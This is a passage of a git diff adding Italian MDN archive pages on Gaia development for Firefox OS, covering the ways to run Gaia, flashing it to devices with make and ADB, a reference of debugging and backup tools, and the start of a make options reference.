+ <li>Gaia nel Simulatore</li>
+ <li>Gaia nel Desktop B2G</li>
+ <li>Gaia in Firefox Mulet</li>
+ <li>Gaia nell'Emulatore</li>
+ <li>Gaia su un dispositivo reale</li>
+ <li>Gaia+Gecko su un dispositivo reale</li>
+</ol>
+<p>Volendo invece ordinare per “quanto è vicino al prodotto venduto", l'ordine sarebbe esattamente l'opposto. In funzione delle caratteristiche su cui stai lavorando, dovrai utlizzare la soluzione che meglio risponde alle tue esigenze.</p>
+<h2 id="Utilizzare_Gaia_all'interno_di_WebIDE_con_un_Simulatore_di_Firefox_OS">Utilizzare Gaia all'interno di WebIDE con un Simulatore di Firefox OS</h2>
+<p>La modalità più veloce per provare Gaia è con <a href="/en-US/docs/Tools/WebIDE">WebIDE</a>, uno strumento di sviluppo disponibile in Firefox Desktop. WebIDE ti offre numerosi strumenti per aiutarti nelle fasi di testing, installazione e debugging di applicazioni web HTML5 sia su telefoni Firefox OS che sul Simulatore Firefox OS, direttamente dal tuo browser.<br>
+ <br>
+ In Firefox per desktop dalla versione 34 e successive, trovi WebIDE seguendo<em> Tools &gt; Web Developer &gt; WebIDE</em>. Apri il menù Runtime sulla destra in alto per installare e avviare un Simulatore.</p>
+<p>Per eseguire una tua versione di Gaia, il processo è un po' più complesso, ma sempre piuttosto semplice:</p>
+<ol>
+ <li>Come prerequisito dovresti aver costruito un profilo di debug di Gaia - vai nel tuo repository locale di Gaia ed esegui il comando <code>DEVICE_DEBUG=1 make</code>. Sarai in grado di fare debug delle App di Gaia senza fare altro, inoltre non dovrai confermare ogni volta la richiesta di debugging remoto all'avvio.</li>
+ <li>Avvia Firefox (consigliamo la versione <a href="https://nightly.mozilla.org/">Nightly</a>)</li>
+ <li>Apri WebIDE utilizzando <em>Tools &gt; Web Developer &gt; WebIDE</em>.</li>
+ <li>Installa un Simulatore di Firefox OS in WebIDE. Utilizza <em>Select Runtime &gt; Install Simulator</em> e scegli una versione fra quelle proposte. Assicurati di utilizzare la medesima versione di Simulatore e di Gaia (per esempio, se il branch di Gaia è il  2.2, devi utilizzare il Simulatore Firefox OS 2.2.)</li>
+ <li>Torna a Firefox e seleziona <em>Tools &gt; Add-ons</em>. Seleziona la voce <em>Option</em>s del Simulatore Firefox OS per la vesrione che hai scelto di utilizzare.</li>
+ <li>Seleziona <em>Select a custom Gaia directory</em>, per impostare la cartella in cui è presente il profilo di debug di Gaia (che hai precedentemente costruito).</li>
+ <li>Avvia il Simulatore da WebIDE (dovrebbe ora avviarsi con il profilo custom di Gaia che hai appena specificato).</li>
+</ol>
+<div class="note">
+ <p><strong>Nota</strong>: Se vuoi riconfigurare il Simulatore affinchè non esegua più il profilo custom che hai appena impostato, devi procedere da Firefox <a href="/about:config">about:config</a>, cerca <code>extensions.fxos_2_2_simulator@mozilla.org.gaiaProfile</code> pref (2_2 piuttosto che la versione che hai scelto precedentemente) fai doppio clic e rimuovi il valore impostato nella dialog box, quindi premi OK.</p>
+</div>
+<div class="note">
+ <p><strong>Note</strong>: Poichè il branch principale di Gaia cambia rapidamente, può succedere che l'ultimo Simulatore pubblicato fallisca. Se stai utilizzando il branch principale e rilevi un fallimento (in questo caso WebIDE restituisce un messaggio di errore quale "Operation timed out" ), dovresti scaricare e utilizzare l'ultima branch nightly del Simulatore  — visita <a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central/">Nightly Mozilla Central</a> e scarica il file <em>fxos-simulator-*.xpi</em> appropriato per il tuo sistema. Tieni in mente che le build nightly non si aggiornano automaticamente alle versioni successive. Per ottenere gli aggiornamenti devi tornare a utilizzare le build ufficiali.</p>
+</div>
+<h2 id="Utilizzare_Gaia_in_B2G_Desktop">Utilizzare Gaia in B2G Desktop</h2>
+<p>B2G Desktop è un'applicazione che puoi utilizzare per eseguire Gaia sul desktop, implementa il motore di esecuzione delle app utilizzato nei dispositivi Firefox OS. Verrà presto sostituito con Firefox Mulet (vedi sotto), non appena Mulet sarà sufficientemente stabile.</p>
+<p>Puoi scaricare <a href="http://nightly.mozilla.org/#Desktop%20Boot2Gecko">una build nightly di B2G Desktop</a> dal <a href="http://nightly.mozilla.org/">sito di Firefox Nightly</a>. A seconda dell'utilizzo sono disponibili differenti versioni della latest-mozilla. Sono disponibili build per Linux (32 bit e 64 bit), OS X e Windows.</p>
+<p>Le build nightly sono disponibili con una versione di Gaia recente. Dopo aver scaricato l'archivio, devi semplicemente estrarlo in una cartella ed eseguire il binario b2g dalla cartella stessa:</p>
+<pre class="brush: bash">$ cd b2g
+$ ./b2g</pre>
+<p>Per eseguire B2G con una tua versione di Gaia per finalità di sviluppo dovrai inizialmente costruirti un profilo di debug dal tuo repository locale di Gaia:</p>
+<pre class="brush: bash">$ cd /path/to/gaia
+$ DEBUG=1 DESKTOP=0 make</pre>
+<p>Questo produrrà una sottocartella all'interno della cartella <code>gaia</code> chiamata <code>profile</code>. Per evitare di ricostruire Gaia a ogni modifica al codice, l'opzione <code>DEBUG, </code>anzichè produrre la versione packaged di default, produrrà una versione hosted che verrà eseguita tramite un web server integrato. Trovi il percorso alla cartella contenente il profilo generato nell'ultima linea di output del comando precedente:</p>
+<pre class="brush: bash">Profile Ready: please run [b2g|firefox] -profile /path/to/gaia/profile</pre>
+<p>Potrai quindi eseguire B2G Desktop col profilo appena generato nel seguente modo:</p>
+<pre class="brush: bash">$ ./b2g /path/to/gaia/profile</pre>
+<p>Se vuoi, puoi costruire B2G Desktop direttamente dal codice sorgente.</p>
+<div class="note">
+ <p><strong>Note:</strong> Per OS X, il binario <code>b2g</code> sarà all'interno della cartella B2G.app. Per eseguire B2G Desktop utililizza il seguente comando:<br>
+  <code>./B2G.app/Contents/MacOS/b2g /path/to/gaia/profile</code></p>
+</div>
+<h2 id="Utilizzare_Gaia_in_Firefox_Mulet">Utilizzare Gaia in Firefox Mulet</h2>
+<p>È anche possibile eseguire Gaia all'interno di una versione speciale di Firefox chiamata Firefox Mulet. Questa soluzione ti offre il vantaggio di abbinare un ciclo di sviluppo rapido alla disponibilità di strumenti web standard di sviluppo e di debugging disponibili.</p>
+<div class="note">
+ <p><strong>Nota</strong>: Firefox Mulet è attualmente in una fase iniziale di sviluppo, probabilmente troverai dei bug. Se dovessi riscontrarne, per favore segnalaceli.</p>
+</div>
+<ol>
+ <li>Prima di tutto, è necessario disporre di una copia locale del repository di <a href="https://github.com/mozilla-b2g/gaia">Gaia</a> (leggi l'articolo <a href="https://developer.mozilla.org/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/Running_the_Gaia_codebase#Eseguire_il_tuo_build_di_Gaia">Eseguire il tuo build di Gaia</a> per la procedura migliore se vuoi contribuire al progetto). Mulet è compatibile con la versione di Gaia 2.2 e superiore, ti consigliamo di utilizzare il branch master.</li>
+ <li>Quindi, spostati con <code>cd </code>nella tua copia locale del repository e costruisci il profilo con <code>make </code>(leggi l'articolo <a href="https://developer.mozilla.org/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/make_options_reference">Riferimento alle opzioni di make</a> per le differenti opzioni disponibili). In futuro, Mulet supporterà le differenti opzioni di <code>make</code> e avrà tutti gli strumenti per facilitarti il debug delle applicazioni (ad esempio riavviare le singole applicazioni se vorrai verificare i singoli aggiornamenti).</li>
+ <li>Ora devi scaricare una versione nightly di Firefox Mulet  — lo trovi al link <a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central/">Mozilla Central</a>. Le versioni Mulet sono quelle il cui nome inizia per <code>firefox-*</code>, per esempio <code>firefox-36.0a1.en-US.mac64.dmg</code> — scelgli la versione appropriata per il tuo sistema di sviluppo.</li>
+ <li>Dopo averlo scaricato, installa Mulet evitando di sovrascrivere la build Nightly di Firefox. Per esempio, su Mac OS X, crea una nuova cartella all'interno di Applications chiamata "mulet", e trascinaci il file.</li>
+ <li>Ora esegui Mulet da linea di comando, specificando il profilo di Gaia da utilizzare (tramite l'opzione <code>-profile</code>). Per esempio, su un Mac OS X, dalla cartella Applications, potresti eseguire un comando simile al seguente:
+  <pre class="brush: bash">./mulet/FirefoxNightly.app/Contents/MacOS/firefox-bin -profile /Users/my-home-folder/git/gaia/profile/</pre>
+ </li>
+</ol>
+<p>Mulet dovrebbe avviarsi e dovresti vedere qualcosa di simile:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/9467/mulet-screenshot.png" style="width: 800px; height: 491px; display: block; margin: 0px auto;"><br>
+ L'applicazione contiene la standard <a href="https://developer.mozilla.org/en-US/docs/Tools/Tools_Toolbox">Toolbox</a> di Firefox per il debugging delle tue applicazioni di Gaia, un emulatore di Firefox OS sulla sinistra e numerosi altri strumenti utili per gestire Gaia. I controlli presenti sopra l'emulatore ti consentono di:</p>
+<ul>
+ <li>Scegliere la risoluzione per lo schermo dell'emulatore (fondamentalmente <a href="/en-US/docs/Tools/Responsive_Design_View">Responsive Design View</a>).</li>
+ <li>Ruotare lo schermo dell'emulatore.</li>
+ <li>Abilitare o disabilitare la simulazione degli eventi di touch (se disabilitati, non puoi utilizzare il mouse per trascinare o aprire le applicazioni sull'interfaccia utente).</li>
+ <li>Prendere delle immagini dello schermo (screenshot).</li>
+</ul>
+<div class="note">
+ <p><strong>Nota</strong>: Il bottone Home attualmente non funziona e lo schermo occasionalmente manifesta dei malfunzionamenti. Puoi ovviare a questi problemi ricaricando la scheda del browser.</p>
+</div>
+<h2 id="Flashare_Gaia_su_un_dispositivo_reale">Flashare Gaia su un dispositivo reale</h2>
+<div class="warning">
+ <p><strong>Importante</strong>: Se stai cercando di flashare Gaia su un dispositivo con poca memoria quale Tarako o Spice Fire One, dovresti utilizzare una branch specifica ottimizzata per dispositivi con poca memoria, quale <a href="https://github.com/mozilla-b2g/gaia/tree/v1.3t">1.3t branch</a>. Provando a flashare il branch master di Gaia su un dispositivo con poca memoria probabilmente il dispositivo risulterà non più funzionante.</p>
+</div>
+<p dir="ltr" id="docs-internal-guid-46d8bd5f-ac6a-0884-5265-76e0fe740fa6">Per flashare una nuova versione di Gaia su un dispositivo reale:</p>
+<ol dir="ltr">
+ <li>Prima assicurati di avere una copia del repository di Gaia sul tuo computer e di avere installato <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a>.</li>
+ <li>Assicurati di aver abilitato il <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Debugging_via_USB">debugging via USB</a>.</li>
+ <li>Connetti il dispositivo al computer via USB.</li>
+ <li>Se il dispositivo è connesso e se il driver USB è configurato correttamente potrai eseguire i seguenti comandi. Per configurare correttamente il driver, gli utilizzatori di Windows o Linux potrebbero controllare sulla pagina specifica per il driver USB del produttore del dispositivo mobile.</li>
+ <li>Esegui il seguente comando all'interno del repository di Gaia per installare completamente Gaia sul dispositivo:<br>
+  <pre class="brush: bash">$ make reset-gaia</pre>
+ </li>
+ <li>Per installare solo gli aggiornamenti, senza riavviare il dispositivo utilizza:
+  <pre class="brush: bash" dir="ltr">$ make install-gaia</pre>
+ </li>
+ <li>Se invece vuoi installare solo un'applicazione specifica, puoi utilizzare la variabile di ambiente APP:
+  <pre class="brush: bash">$ make install-gaia APP=browser</pre>
+ </li>
+</ol>
+<div class="note">
+ <p dir="ltr"><strong>Nota</strong>: I comandi <code>make install-gaia</code> / <code>make reset-gaia</code> costruiscono Gaia con una risoluzione pari a 1x di default. Per specificare risoluzioni maggiori dovrai utilizzare le opzioni di make <code>GAIA_DEV_PIXELS_PER_PX</code> o <code>GAIA_DPPX</code> (per maggiori dettali vedi <a href="/en-US/Firefox_OS/Developing_Gaia/make_options_reference#High_resolution_image_assets">High resolution image assets</a>) assieme al fattore di scala specifico per il tuo dispositivo, per esempio <code>make install-gaia GAIA_DEV_PIXELS_PER_PX=1.5</code> per un dispositivo Flame (oppure 2, o 2.5, etc; trovi i fattori di scala nella tabella contenuta nel paragrafo <a href="/en-US/Apps/Build/Icon_implementation_for_apps#512_icon_for_device_display">512 icon for device display</a>.)</p>
+</div>
+<p dir="ltr">Per verificare se il tuo dispositivo è correttamente connesso via USB utilizza il seguente comando:</p>
+<pre class="brush: bash" dir="ltr">$ adb devices</pre>
+<p dir="ltr">Dovresti ottenere un risultato simile al seguente:</p>
+<pre class="brush: bash" dir="ltr">List of devices attached
+emulator-5554  device</pre>
+<h2 id="Costruire_Gecko_e_Gaia_e_utilizzarli_in_un_Emulatore_o_un_dispositivo_reale">Costruire Gecko e Gaia e utilizzarli in un Emulatore o un dispositivo reale</h2>
+<p>Se hai un dispositivo mobile compatibile puoi  <a href="/it/Firefox_OS/Building_and_installing_Firefox_OS">compilare e installare Firefox OS</a> ed eseguirlo su un Emulatore piuttosto che scaricarlo sul tuo dispositivo.</p>
diff --git a/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/gaia_tools_reference/index.html b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/gaia_tools_reference/index.html
new file mode 100644
index 0000000000..056a240eaa
--- /dev/null
+++ b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/gaia_tools_reference/index.html
@@ -0,0 +1,128 @@
+---
+title: Strumenti di Gaia
+slug: Archive/B2G_OS/Guida_rapida_allo_sviluppo_di_Gaia/Gaia_tools_reference
+tags:
+  - B2G
+  - Firefox OS
+  - Gaia
+  - Guida
+  - Strumenti
+translation_of: Archive/B2G_OS/Developing_Gaia/Gaia_tools_reference
+---
+<div class="summary">
+<p><span class="seoSummary">Questo articolo descrive alcuni strumenti di grande aiuto per lavorare con Gaia</span></p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Puoi trovare alcuni suggerimenti e trucchi molto utili per il debug di Firefox OS alla pagina <a href="https://wiki.mozilla.org/B2G/QA/Tips_And_Tricks">B2G QA Tips and tricks</a>.</p>
+</div>
+
+<h2 id="Strumenti_di_backuprestoreflash">Strumenti di backup/restore/flash</h2>
+
+<p>Strumenti di backup per il tuo profilo, ecc.</p>
+
+<h3 id="b2g_util">b2g_util</h3>
+
+<p>Il pacchetto <a href="https://pypi.python.org/pypi/b2g_util">b2g_util tools</a> fornisce alcuni strumenti utili nel debugging di Firefox OS. Può:</p>
+
+<ul>
+ <li>Controllare la versione di b2g installata</li>
+ <li>Fornire il link al crash report</li>
+ <li>Resettare il dispositivo</li>
+ <li>Abilitare/disabilitare i certificati delle App per WebIDE</li>
+ <li>Backup/restore del tuo profilo (non ancora completo, per ora è disponibile un  workaround)</li>
+</ul>
+
+<p>Per installarlo hai bisogno di Python 2.7, <a href="https://pypi.python.org/pypi/pip/">pip</a>, e <a href="https://pypi.python.org/pypi/setuptools">setuptools</a>. Quindi puoi eseguire:</p>
+
+<pre><code>sudo pip install -U b2g_util</code></pre>
+
+<p>Dopo aver completato l'installazione, puoi connetterti al tuo dispositivo e testarlo utilizzando, ad esempio, il seguente comando per ottenere la versione di b2g:</p>
+
+<pre><code>b2g_check_versions</code></pre>
+
+<h3 id="pc-sync-tool">pc-sync-tool</h3>
+
+<p><a href="https://marketplace.firefox.com/app/pcsync">pc-sync-tool</a> è una app disponibile nel Marketplace di Firefox che permette di fare il backup dei tuoi dati/profilo. Deve essere utilizzato congiuntamente all'add-on per desktop <a href="http://download.firefox.com.cn/ffosassistant.xpi">Firefox OS assistant</a>.</p>
+
+<h3 id="Backup_e_restore_del_profilo">Backup e restore del profilo</h3>
+
+<p>Per gestire backup e restore dei dati puoi utilizzare lo script <code>backup_restore_profile.py</code>, disponibile all'interno del repository GIT <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool">B2G-flash-tool.</a></p>
+
+<ol>
+ <li>Clona il repository (<code>git clone https://github.com/Mozilla-TWQA/B2G-flash-tool</code>.)</li>
+ <li>Assicurati che il telefono sia connesso via USB al computer, e che ADB (vedi {{anch("Important steps to follow first")}}) e l'opzione di Debugging via USB (presente nei settaggi del tuo dispositivo <a href="https://developer.mozilla.org/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a>) siano abilitati.</li>
+ <li>Spostati all'interno della cartella clonata</li>
+</ol>
+
+<p>Per fare backup dei dati:</p>
+
+<pre class="brush: bash language-html"><code class="language-bash">python backup_restore_profile.py -b</code></pre>
+
+<p>Questo comando dovrebbe salvare il profilo del dispositivo all'interno di una cartella chiamata  <code>mozilla-profile</code>, nella medisima cartella in cui è posizionato lo script. Per fare restore del tuo backup:</p>
+
+<pre class="brush: bash language-html"><code class="language-bash">python backup_restore_profile.py -r</code></pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Per vedere la lista completa delle opzioni esegui lo script con il flag <code>-h</code> o <code>--help</code>.</p>
+</div>
+
+<h3 id="B2G-flash-tool">B2G-flash-tool</h3>
+
+<p>Il repository <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool">B2G-flash-tool</a> contiene molti altri strumenti che ti consentono di fare rapidamente il flash delle nuove build sui dispositivi — strumenti ideali per il lavoro di QA. Per esempio:</p>
+
+<ul>
+ <li><a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/flash_pvt.py">flash_pvt.py</a> — Lo strumento principale per fare il flash di nuovi build.</li>
+ <li><a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/change_channel.sh">change_channel.sh</a> — Ti consente di cambiare velocemente il canale di aggiornamento del telefono.</li>
+ <li><a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/check_versions.py">check_versions.py</a> — Restituisce la versione di B2G installata su un dispositivo.</li>
+ <li><a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/shallow_flash.sh">shallow_flash.sh</a> — Ti consente di fare il flash di Gaia e/o Gecko su un dispositivo (per Windows è disponibile <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/shallow_flash.bat">shallow_flash.bat</a>).</li>
+ <li><a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/update_system_fonts.sh">update_system_fonts.sh</a> — Aggiorna i font di sistema per B2G v2.1 ({{Bug("1032874")}}).</li>
+</ul>
+
+<h2 id="Strumenti_per_il_debug">Strumenti per il debug</h2>
+
+<p>Strumenti con funzionalità di debug.</p>
+
+<h3 id="WebIDE">WebIDE</h3>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE">WebIDE</a> di Firefox merita una menzione speciale — oltre alle funzionalità di test e debug, offre funzionalità di monitoraggio delle performance, dell'utilizzo della memoria, ecc (vedi <a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE#Monitoring_performance">Monitoring performance</a>.)</p>
+
+<h3 id="get_crashreports.sh">get_crashreports.sh</h3>
+
+<p>All'interno del repository <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool">B2G-flash-tool</a>, <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/get_crashreports.sh">get_crashreports.sh</a> restituisce i report di crash (<code>/data/b2g/mozilla/Crash Reports/</code>.)</p>
+
+<h3 id="Strumenti_contenuti_all'interno_della_cartella_di_root_di_B2G">Strumenti contenuti all'interno della cartella di root di B2G</h3>
+
+<p>Nella cartella di<a href="https://github.com/mozilla-b2g/B2G"> root di B2G </a>sono presenti numerosi script che eseguono funzionalità di debug utili, quali:</p>
+
+<ul>
+ <li><a href="https://github.com/mozilla-b2g/B2G/blob/master/run-gdb.sh">run-gdb.sh</a>: Esegue il programma di debug a linea di comando gdb (vedi <a href="https://developer.mozilla.org/en-US/Firefox_OS/Debugging/Debugging_B2G_using_gdb">Debugging B2G using gdb and related tools</a> per maggiori dettagli)</li>
+ <li><a href="https://github.com/mozilla-b2g/B2G/blob/master/run-valgrind.sh">run-valgrind.sh</a>: Esegue il programma di debug Valgrind (vedi <a href="https://developer.mozilla.org/en-US/Firefox_OS/Debugging/Debugging_B2G_using_valgrind">Debugging B2G using Valgrind</a> per maggiori informazioni)</li>
+ <li><a href="https://github.com/mozilla-b2g/B2G/blob/master/watch-procrank.sh">watch-procrank.sh</a>: Restituisce le informazioni sul consumo di memoria attraverso  procrank.</li>
+</ul>
+
+<h2 id="Ulteriori_strumenti">Ulteriori strumenti</h2>
+
+<p>Sono disponibili ulteriori e utili strumenti nella cartella <a href="https://github.com/mozilla-b2g/gaia/tree/master/tools">gaia/tools/</a> e in altre.</p>
+
+<h3 id="png_recompress.sh">png_recompress.sh</h3>
+
+<p>Script per comprimere immagini in formato png. Puoi utilizzarlo analogamente al seguente esempio:</p>
+
+<pre class="brush: bash">$ ./tools/png_recompress.sh -v bg.png</pre>
+
+<p>Rimuove metadati non necessari e comprime ulteriormente l'immagine; può produrre un risparmio fino al 99.5% sulla dimensione del file, si traduce in un impatto misurabile sulla dimensione della app e sull'utilizzo di memoria.</p>
+
+<h3 id="svg_recompress.sh">svg_recompress.sh</h3>
+
+<p>Presente nella cartella <a href="https://github.com/mozilla-b2g/gaia/tree/master/tools">gaia/tools/</a>, <a href="https://github.com/mozilla-b2g/gaia/blob/master/tools/svg_recompress.sh">svg_recompress.sh</a> comprime immagini SVG.</p>
+
+<h3 id="cache_sync.py">cache_sync.py</h3>
+
+<p>Presente nella cartella <a href="https://github.com/mozilla-b2g/gaia/tree/master/tools">gaia/tools/</a>, <a href="https://github.com/mozilla-b2g/gaia/blob/master/tools/cache_sync.py">cache_sync.py</a> sincronizza la cache offline di una app in una cartella locale. Il comando deve essere eseguito dalla cartella base di una app in gaia/external-apps. Costruisce una cartella per ciascuna origine nella cache offline.</p>
+
+<h3 id="edit_prefs.sh">edit_prefs.sh</h3>
+
+<p>Presente nella <a href="https://github.com/mozilla-b2g/B2G">cartella di root di B2G</a>, <a href="https://github.com/mozilla-b2g/B2G/blob/master/edit-prefs.sh">edit_prefs.sh</a> restituisce le preferenze di un dispositivo.</p>
+
+<p> </p>
diff --git a/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/index.html b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/index.html
new file mode 100644
index 0000000000..c9cb461e0a
--- /dev/null
+++ b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/index.html
@@ -0,0 +1,52 @@
+---
+title: Guida allo sviluppo di Gaia
+slug: Archive/B2G_OS/Guida_rapida_allo_sviluppo_di_Gaia
+tags:
+  - B2G
+  - Firefox OS
+  - Gaia
+  - Guida
+  - Guida rapida allo sviluppo di Gaia
+translation_of: Archive/B2G_OS/Developing_Gaia
+---
+<div class="summary">
+<p><span class="seoSummary">Gaia è l'interfaccia utente di Firefox OS e l'insieme delle app predefinite: include la schermata di blocco, la schermata principale, il dialer e altre applicazioni. Sostanzialmente, Gaia è un insieme di applicazioni web complesse eseguite sulla piattaforma Firefox OS. <span id="result_box" lang="it"><span class="hps">Questa serie di</span> <span class="hps">articoli</span> <span class="hps">copre</span> <span class="hps">tutto quello che ti serve </span><span class="hps">sapere per</span> <span class="hps">contribuire al progetto</span> <span class="hps">Gaia</span><span>.</span></span></span></p>
+</div>
+
+<p>In questa guida ti mostreremo come contribuire allo sviluppo di Gaia attraverso una metodologia strutturata — <span id="result_box" lang="it"><span class="hps">e con questo</span> <span class="hps">intendiamo</span> <span class="hps">sia aggiungere</span> <span class="hps">nuove funzionalità </span><span class="hps">al codice base di Gaia che lavorare sui bug aperti. </span><span class="hps">La prima serie di</span> <span class="hps">articoli</span> <span class="hps">può essere letta in ordine, piuttosto che spostandosi direttamente alla sezione di interesse, </span><span class="hps">nel caso in cui ci fosse la necessità di rivedere </span><span class="hps">un aspetto specifico</span> <span class="hps">del processo</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="it"><span class="hps">Dopo di che</span><span>,</span> <span class="hps">ti forniremo</span> <span class="hps">materiale di riferimento</span> <span class="hps">e informazioni</span> <span class="hps">su argomenti</span> supplementari<span>.</span></span></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7951/gaia-2.0-screen.png" style="float: right; height: 533px; padding: 0px 0px 30px 30px; width: 320px;"></p>
+
+<h2 id="Nozioni_di_base">Nozioni di base</h2>
+
+<ol>
+ <li><a href="/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/Running_the_Gaia_codebase">Eseguire il codice di Gaia</a></li>
+ <li><a href="/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/Understanding_the_Gaia_codebase">Capire il codice di Gaia</a></li>
+ <li><a href="/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/Making_Gaia_code_changes">Modificare il codice di Gaia</a></li>
+ <li><a href="/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/Testing_Gaia_code_changes">Provare le modifiche al codice di Gaia</a></li>
+ <li><a href="/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/Submitting_a_Gaia_patch">Sottoporre una patch di Gaia</a></li>
+</ol>
+
+<h2 id="Compilazione_di_Gaia">Compilazione di Gaia</h2>
+
+<ul>
+ <li><a href="/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/Build_System_Primer">Il sistema di build di Gaia</a></li>
+ <li><a href="/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/Customizing_build-time_apps">Personalizzare le app in fase di build</a></li>
+ <li><a href="/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/make_options_reference">Riferimento alle opzioni di make</a></li>
+ <li><a href="/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/Gaia_tools_reference">Strumenti di Gaia</a></li>
+</ul>
+
+<h2 id="Vedi_inoltre">Vedi inoltre</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/it/Firefox_OS/Prerequisiti_Firefox_OS_build">Prerequisiti di build di Firefox OS</a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS">Filing bugs against Firefox OS</a></li>
+ <li><a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps">Gaia apps guide</a></li>
+ <li><a href="https://developer.mozilla.org/it/Firefox_OS/Guida_rapida_allo_sviluppo_di_Gaia/Diversi_modi_per_eseguire_Gaia">Diversi modi per eseguire Gaia</a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia/Market_customizations_guide">Market customizations guide</a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia/Customizing_the_keyboard">Customizing the keyboard in Firefox OS apps</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Firefox_OS/Developing_Gaia/Localizing_Firefox_OS">Localizing Firefox OS (guide for localizers)</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Firefox_OS/Developing_Gaia/L10n_Best_Practices">L10n Best Practices (for developers)</a></li>
+</ul>
diff --git a/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/make_options_reference/index.html b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/make_options_reference/index.html
new file mode 100644
index 0000000000..dd5f1f4f70
--- /dev/null
+++ b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/make_options_reference/index.html
@@ -0,0 +1,347 @@
+---
+title: Riferimento alle opzioni di make
+slug: Archive/B2G_OS/Guida_rapida_allo_sviluppo_di_Gaia/make_options_reference
+tags:
+  - B2G
+  - Firefox OS
+  - Gaia
+  - Guida
+  - Riferimento alle opzioni di make
+translation_of: Archive/B2G_OS/Developing_Gaia/make_options_reference
+---
+<div class="summary">
+<p><span class="seoSummary">Il comando <code>make</code> viene utilizzato all'interno del repository di Gaia per creare il profilo che verrà poi caricato sul dispositivo o eseguito in <a href="/en-US/Firefox_OS/Using_the_B2G_desktop_client">B2G Desktop</a>. Questo articolo descrive in dettaglio le differenti opzioni di make disponibili.</span></p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Sono disponibili molte variabili di ambiente nel Makefile. In futuro potrebbero cambiare.</p>
+</div>
+
+<p>I profili creati sono generalmente posti sotto la root della directory gaia, per esempio <code>/gaia/profile</code>, e contengono i seguenti elementi:</p>
+
+<ul>
+ <li><code>defaults/</code>: Cartella che contiene le configurazioni di default che verranno caricate dopo il reset del dispositivo</li>
+ <li><code>extensions/</code>: Cartella che contiene le estensioni</li>
+ <li><code>settings.json</code>: File di configurazione</li>
+ <li><code>user.js</code>: Altro file contenente configurazioni/preferenze</li>
+ <li><code>webapps/</code>: Cartelle contenente tutte le app che verranno installate sul dispositivo</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Ricordati di rimuovere un profilo già esistete, rimuovendo l'intera cartella, prima di  crearne uno nuovo.</p>
+</div>
+
+<h2 id="Default">Default</h2>
+
+<pre class="brush: bash">make</pre>
+
+<p>Senza opzioni verrà creato un profilo anonimo, non di debug. Per un profil<em>o </em>marcato Mozilla vedi {{ anch("Opzione per build Mozilla ufficiale") }}; per un profilo di debug vedi {{ anch("Opzione di debug") }}.</p>
+
+<h2 id="Installare_sul_dispositivo">Installare sul dispositivo</h2>
+
+<pre class="brush: bash">make install-gaia
+
+make reset-gaia
+</pre>
+
+<p>Dopo aver installato <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a> (Android Debug Bridge) sul tuo sistema, queste opzioni di make ti consentiranno di installare Gaia sul dispositivo. Mentre <code>install-gaia</code> installerà solo gli aggiornamenti/update, <code>reset-gaia</code> installerà completamente Gaia rimuovendo prima configurazioni, profili e web app.</p>
+
+<div class="note">
